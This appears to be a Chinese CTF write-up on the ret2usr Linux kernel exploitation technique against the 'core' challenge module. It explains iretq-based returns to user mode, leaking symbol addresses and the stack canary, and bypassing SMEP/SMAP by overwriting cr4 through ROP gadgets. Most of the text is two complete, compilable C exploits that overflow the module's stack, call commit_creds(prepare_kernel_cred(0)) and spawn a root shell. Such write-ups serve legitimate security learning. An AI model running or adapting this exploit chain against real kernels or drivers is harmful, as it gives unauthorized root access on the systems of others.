Kernel Pwn ret2usr

在不开启 SMEP, SMAP, KPTI 的情况下, 内核态是可以执行用户空间的代码的. 于是我们只需要在内核态中控制程序流, 使其跳转到用户空间, 执行我们写好的代码, 如 commit_creds(prepare_kernel_cred(NULL)) 便可提取.

不过, 最终的目的是起一个 shell, 但是在内核态无法完成这件事, 所以还需要返回用户态.

iretq 是 x64 的中断返回指令. 当发生中断 (系统调用除外) 陷入内核时, 会发生这些事:

  1. 切换到内核栈. kernel 在 任务状态段Task State Segment (TSS) 这个数据结构上保存了内核栈段起始地址 (ss0) 和 内核栈顶指针 (rsp0).
  2. 接着在内核栈上压入用户空间的 ss, rsp, rflags, cs, rip.
  3. 之后将用户态的通用寄存器值保存起来, 通用寄存器赋值为 0, 保存用户态 gs 寄存器的值并设置内核的 gs .gs 寄存器在内核态时指向一个进程在内核中相关的数据结构, 其中就包含有 kernel stack canary.

返回用户态时, 发生的事情就反了过来:

  1. 恢复通用寄存器的值
  2. 使用 swapgs 指令恢复用户态 gs 的值
  3. 使用 iretq 指令, 内核将栈上用户态 rip, cs, rflags, rsp, ss 恢复

所以, 我们只需要 swapgsiretq, 就能够回到用户态. 寄存器的值是否恢复对我们的利用来说并不重要, 不恢复也是可以的.

根据 iretq 的功能, 需要伪造内核栈在执行这条指令时如下:

u u u u s s r s s e e f e e r r l r r a g s s s c i s p s p r s p
注意
系统调用陷入内核的时候采取不一样策略, syscall 指令并不会保存用户态 rsp, 而是陷入内核后由内核态中的代码来保存. sysretq 指令与其相适应, 用它来返回用户态并不会修改 rsp. 将 rsp 设置为用户态的工作同样由内核代码在 sysretq 之前完成. 所以 sysretqiretq 相比没那么方便, 所以不妨就使用 iretq.

查看 qemu 启动脚本:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

可以看到开启了 kaslr. 内存分配的是 64M, 跑不起来, 需要调大一点.

首先解压 core.cpio, 查看 init:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到, 把 /proc/kallsyms copy 到了 /tmp/kallsyms, 然后禁用了查看 /proc/kallsyms 和 kernel 调试信息 dmesg 命令. 接着加载了一个 module core.ko, 设置关机时间 120s, 设置 uid, gid, 启动 /bin/sh.

注意

kernel 的符号地址在 /proc/kallsyms 中有保存, root 权限可以查看. 在本地调试时可以用 root 获取 commit_credsprepare_kernel_cred 的地址.

有些题有 KASLR, 可以用这个方法来获取没有偏移时的地址, 之后获取到开了 KASLR 的某个符号的地址, 就可以计算偏移了.

虽然禁用了查看 /proc/kallsyms, 但是它已经被拷贝到 /tmp/kallsyms 了, 普通用户也可以直接读取. 所以这里开启的 kaslr 和没有一样.

可以把关机时间给注释掉, 重新打包一下. 题目和贴心给了打包的脚本 gen_cpio.sh, 直接用就行.

逆向一下 core.ko. 有 canary. 只注册了 ioctl, write, release. ioctl 里写了一个 core_read, core_copy_func 函数, 并且支持修改一个全局变量 off. init_module 函数创建了一个进程节点文件 /proc/core.

存在漏洞的地方是 off 可以用 ioctl 修改, 然后 core_read 可以泄漏 canary. core_copy_func 中存在栈溢出.

最最开始, 由于 iretq 需要 ss, rsp, rflags, cs, 可以通过嵌入汇编的方式给保存下来. 栈顶其实非常随意, 不一定要最后陷入内核时的 rsp, 只要能用就行. 不过某些函数会需要栈对齐, 所以返回内核态后的 rsp 最好也对齐.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

读取 commit_credsperpare_kernel_cred 的地址, 并通过减去没有 kaslr 时的地址计算出偏移.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    while (!commit_creds || !prepare_kernel_cred) {
        size_t addr = 0;
        char t[2] = {0}, name[128] = {0};
        fscanf(kallsyms, "%lx%s%s", &addr, t, name);
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

接着利用 ioctl 修改全局变量 off, core_read 泄漏 canary:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

使用栈溢出来覆盖返回地址, 写上用户空间的函数地址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

ret2usr 函数中进行提权操作并返回用户态:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

使用 iretq 返回到 getRootShell 函数起 shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

完整 exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t commit_creds, prepare_kernel_cred;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            printvar(success, "leak commit_creds", addr);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    saveStatus();
    pwn();
    return 0;
}

在启动脚本中加入 -cpu kvm64,+smep,+smap 来开启 smep 和 smap. (还要关一下 kpti, 在 -append 中加上 nopti) 然后执行上一份 exp, 内核直接 panic 了.

kernel panic due to smep
kernel panic due to smep

可以看到, panic 的原因是 smep, rip 的值在用户空间, cr4 的值是 0x3006f0. 所以我们需要先关闭 smep 和 smap, 才可以 ret2usr.

不过, 这一操作需要在内核态完成, 于是要找到内核态控制 cr4 的 gadget, 比如 0xffffffff810478c7: mov cr4, rdi; push rdx; popfq; ret; 再找一个 pop rdi; ret 的 gadget 便可以写 cr4 了.

这里还涉及到 KASLR. 先将 KASLR 关闭, 获得函数的地址并记录. 然后再开启 KASLR, 获得函数地址, 相减便是偏移, 利用偏移找到 gadget 的真实地址.

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
// gcc exp.c -static -masm=intel -g -o exp
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

void success(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[32m\033[1m[+] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[31m\033[1m[x] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "\033[34m\033[1m[*] %s\033[0m", msg);
    fprintf(stderr, "%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x1000, 1);
    sprintf(buf, "%s: 0x%lx\n", hint, var);
    handle(buf);
    free(buf);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    user_sp &= ~0xf;
    success("Status has been saved.\n");
    printvar(debug, "cs", user_cs);
    printvar(debug, "ss", user_ss);
    printvar(debug, "rsp", user_sp);
    printvar(debug, "rflags", user_rflags);
}

int fd;

size_t commit_creds, prepare_kernel_cred, off;
void leakAddr() {
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
    size_t addr = 0;
    char t[2] = {0}, name[128] = {0};
    while (fscanf(kallsyms, "%lx%s%s", &addr, t, name) != EOF) {
        if (!strcmp(name, "commit_creds")) {
            commit_creds = addr;
            off = commit_creds - 0xffffffff8109c8e0;
            printvar(success, "leak commit_creds", addr);
            printvar(debug, "offset", off);
        }
        if (!strcmp(name, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printvar(success, "leak prepare_kernel_cred", addr);
        }
    }
    fclose(kallsyms);
}

size_t canary;
void leakCanary() {
    size_t *buf = calloc(0x1000, 1);
    ioctl(fd, 0x6677889C, 0x40);
    ioctl(fd, 0x6677889B, buf);

    canary = buf[0];
    printvar(success, "leak canary", canary);

    free(buf);
}

void getRootShell() {
    success("Backing from the kernelspace.\n");
    if(getuid()) {
        fail("Failed to get the root!\n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...\n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void ret2usr() {
    __asm__(
        "mov rdi, 0;"
        "mov rax, prepare_kernel_cred;"
        "call rax;"
        "mov rdi, rax;"
        "mov rax, commit_creds;"
        "call rax;"
        "swapgs;"
        "mov rax, user_ss;"
        "push rax;"
        "mov rax, user_sp;"
        "push rax;"
        "mov rax, user_rflags;"
        "push rax;"
        "mov rax, user_cs;"
        "push rax;"
        "mov rax, getRootShell;"
        "push getRootShell;"
        "iretq;"
    );
}

void pwn() {
    fd = open("/proc/core", O_RDWR);

    leakAddr();
    leakCanary();

    size_t *rop = calloc(0x800, 1);
    size_t pop_rdi_ret     = off + 0xffffffff81000b2f;
    size_t mov_cr4_rdi_ret = off + 0xffffffff81075014;

    int cur = 8;
    rop[cur++] = canary;
    rop[cur++] = canary;
    rop[cur++] = pop_rdi_ret;
    rop[cur++] = 0x6f0;
    rop[cur++] = mov_cr4_rdi_ret;
    rop[cur++] = (size_t) ret2usr;

    write(fd, rop, 0x800);
    free(rop);

    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));

    close(fd);
}

int main() {
    saveStatus();
    pwn();
    return 0;
}
技巧
高版本内核貌似有个 native_write_cr4 的函数可以写 cr4 的值. 这题没有.